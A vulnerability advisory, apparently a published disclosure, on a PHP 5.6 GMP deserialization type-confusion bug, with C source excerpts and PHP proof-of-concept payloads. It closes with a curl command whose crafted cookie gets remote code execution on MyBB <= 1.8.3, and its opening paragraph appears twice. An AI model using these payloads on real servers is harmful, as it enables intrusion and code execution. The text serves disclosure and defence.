<p>Taoguang Chen <<a href="https://twitter.com/chtg57">@chtg57</a>> - Write Date: 2015.4.28 - Release Date: 2017.1.20</p> <blockquote> <p>A type-confusion vulnerability was discovered in GMP deserialization with crafted object's __wakeup() magic method that can be abused for updating any already assigned properties of any already created objects, this result in serious security issues.</p> </blockquote> <h2>Affected Versions</h2> <p>Affected is PHP 5.6 < 5.6.30</p> <h2>Credits</h2> <p>This vulnerability was disclosed by Taoguang Chen.</p> <h2>Description</h2> <p>gmp.c</p> <pre><code>static int gmp_unserialize(zval **object, zend_class_entry *ce, const unsigned char *buf, zend_uint buf_len, zend_unserialize_data *data TSRMLS_DC) /* {{{ */ { ... ALLOC_INIT_ZVAL(zv_ptr); if (!php_var_unserialize(&zv_ptr, &p, max, &unserialize_data TSRMLS_CC) || Z_TYPE_P(zv_ptr) != IS_ARRAY ) { zend_throw_exception(NULL, "Could not unserialize properties", 0 TSRMLS_CC); goto exit;...
<p>Taoguang Chen <<a href="https://twitter.com/chtg57">@chtg57</a>> - Write Date: 2015.4.28 - Release Date: 2017.1.20</p> <blockquote> <p>A type-confusion vulnerability was discovered in GMP deserialization with crafted object's __wakeup() magic method that can be abused for updating any already assigned properties of any already created objects, this result in serious security issues.</p> </blockquote> <h2>Affected Versions</h2> <p>Affected is PHP 5.6 < 5.6.30</p> <h2>Credits</h2> <p>This vulnerability was disclosed by Taoguang Chen.</p> <h2>Description</h2> <p>gmp.c</p> <pre><code>static int gmp_unserialize(zval **object, zend_class_entry *ce, const unsigned char *buf, zend_uint buf_len, zend_unserialize_data *data TSRMLS_DC) /* {{{ */ { ... ALLOC_INIT_ZVAL(zv_ptr); if (!php_var_unserialize(&zv_ptr, &p, max, &unserialize_data TSRMLS_CC) || Z_TYPE_P(zv_ptr) != IS_ARRAY ) { zend_throw_exception(NULL, "Could not unserialize properties", 0 TSRMLS_CC); goto exit; } if (zend_hash_num_elements(Z_ARRVAL_P(zv_ptr)) != 0) { zend_hash_copy( zend_std_get_properties(*object TSRMLS_CC), Z_ARRVAL_P(zv_ptr), (copy_ctor_func_t) zval_add_ref, NULL, sizeof(zval *) ); } </code></pre> <p>zend_object_handlers.c</p> <pre><code>ZEND_API HashTable *zend_std_get_properties(zval *object TSRMLS_DC) /* {{{ */ { zend_object *zobj; zobj = Z_OBJ_P(object); if (!zobj->properties) { rebuild_object_properties(zobj); } return zobj->properties; } </code></pre> <p>It has been demonstrated many times before that __wakeup() or other magic methods leads to <code>ZVAL</code> was changed from the memory in during deserializtion. So an attacker can change <code>**object</code> into an integer-type or bool-type <code>ZVAL</code>, then the attacker will be able to access any objects that stored in objects store via <code>Z_OBJ_P</code>. This means the attacker will be able to update any properties in the object via zend_hash_copy(). It is possible to lead to various problems and including security issues.</p> <p>The following codes will prove this vulnerability:</p> <pre><code><?php class obj { var $ryat; function __wakeup() { $this->ryat = 1; } } $obj = new stdClass; $obj->aa = 1; $obj->bb = 2; $inner = 's:1:"1";a:3:{s:2:"aa";s:2:"hi";s:2:"bb";s:2:"hi";i:0;O:3:"obj":1:{s:4:"ryat";R:2;}}'; $exploit = 'a:1:{i:0;C:3:"GMP":'.strlen($inner).':{'.$inner.'}}'; $x = unserialize($exploit); var_dump($obj); ?> </code></pre> <p>Expected result:</p> <pre><code>object(stdClass)#1 (2) { ["aa"]=> int(1) ["bb"]=> int(2) } </code></pre> <p>Actual result:</p> <pre><code>object(stdClass)#1 (3) { ["aa"]=> string(2) "hi" ["bb"]=> string(2) "hi" [0]=> object(obj)#3 (1) { ["ryat"]=> &int(1) } } </code></pre> <p><strong>i) How to exploited this bug in real world?</strong></p> <p>When PHP 5.6 <= 5.6.11, DateInterval's __wakeup() use convert_to_long() handles and reassignments its properties (it has been demonstrated many times), so an attacker can convert GMP object to an any integer-type <code>ZVAL</code> via GMP's gmp_cast_object():</p> <pre><code>static int gmp_cast_object(zval *readobj, zval *writeobj, int type TSRMLS_DC) /* {{{ */ { mpz_ptr gmpnum; switch (type) { ... case IS_LONG: gmpnum = GET_GMP_FROM_ZVAL(readobj); INIT_PZVAL(writeobj); ZVAL_LONG(writeobj, mpz_get_si(gmpnum)); return SUCCESS; </code></pre> <p>The following codes will prove this exploite way:</p> <pre><code><?php var_dump(unserialize('a:2:{i:0;C:3:"GMP":17:{s:4:"1234";a:0:{}}i:1;O:12:"DateInterval":1:{s:1:"y";R:2;}}')); ?> </code></pre> <p>Of course, a crafted __wakeup() can also be exploited, ex:</p> <pre><code><?php function __wakeup() { $this->ryat = (int) $this->ryat; } ?> </code></pre> <p><strong>ii) Can be exploited this bug in real app?</strong></p> <p>Exploited the bug in MyBB:</p> <p>index.php</p> <pre><code> if(isset($mybb->cookies['mybb']['forumread'])) { $forumsread = my_unserialize($mybb->cookies['mybb']['forumread']); } </code></pre> <p>MyBB <= 1.8.3 allow deserialized cookies via unserialize(), so an attacker will be able to update <code>$mybb</code> or other object's any properties, and it is possible to lead to security issues easily, ex: xss, sql injection, remote code execution and etc. :-)</p> <p><strong>P.S. I had reported this vulnerability and it had been fixed in mybb >= 1.8.4.</strong></p> <h2>Proof of Concept Exploit</h2> <p><strong>MyBB <= 1.8.3 RCE vulnerability</strong></p> <p>index.php</p> <pre><code>eval('$index = "'.$templates->get('index').'";'); </code></pre> <p>MyBB always use eval() function in during template parsing.</p> <p>inc/class_templates.php</p> <pre><code>class templates { ... public $cache = array(); ... function get($title, $eslashes=1, $htmlcomments=1) { global $db, $theme, $mybb; ... $template = $this->cache[$title]; ... return $template; } </code></pre> <p>If we can control the <code>$cache</code>, we will be albe to inject PHP code via eval() function.</p> <p>inc/init.php</p> <pre><code>$error_handler = new errorHandler(); ... $maintimer = new timer(); ... $mybb = new MyBB; ... switch($config['database']['type']) { case "sqlite": $db = new DB_SQLite; break; case "pgsql": $db = new DB_PgSQL; break; case "mysqli": $db = new DB_MySQLi; break; default: $db = new DB_MySQL; } ... $templates = new templates; </code></pre> <p>The <code>$templates</code> object was instantiated in init.php, and four objects was instantiated in this before. This means the <code>$templates</code> object's handle was set to <code>5</code> and stored into objects store, so we can access the <code>$templates</code> object and update the <code>$cache</code> property via convert GMP object into integer-type <code>ZVAL</code> that value is <code>5</code> in during GMP deserialization. This also means we can inject PHP code via eval() function.</p> <p>When MyBB <= 1.8.3 and PHP 5.6 <= 5.6.11, remote code execution by just using curl on the command line:</p> <pre><code>curl --cookie 'mybb[forumread]=a:1:{i:0%3bC:3:"GMP":106:{s:1:"5"%3ba:2:{s:5:"cache"%3ba:1:{s:5:"index"%3bs:14:"{${phpinfo()}}"%3b}i:0%3bO:12:"DateInterval":1:{s:1:"y"%3bR:2%3b}}}}' http://127.0.0.1/mybb/ </code></pre>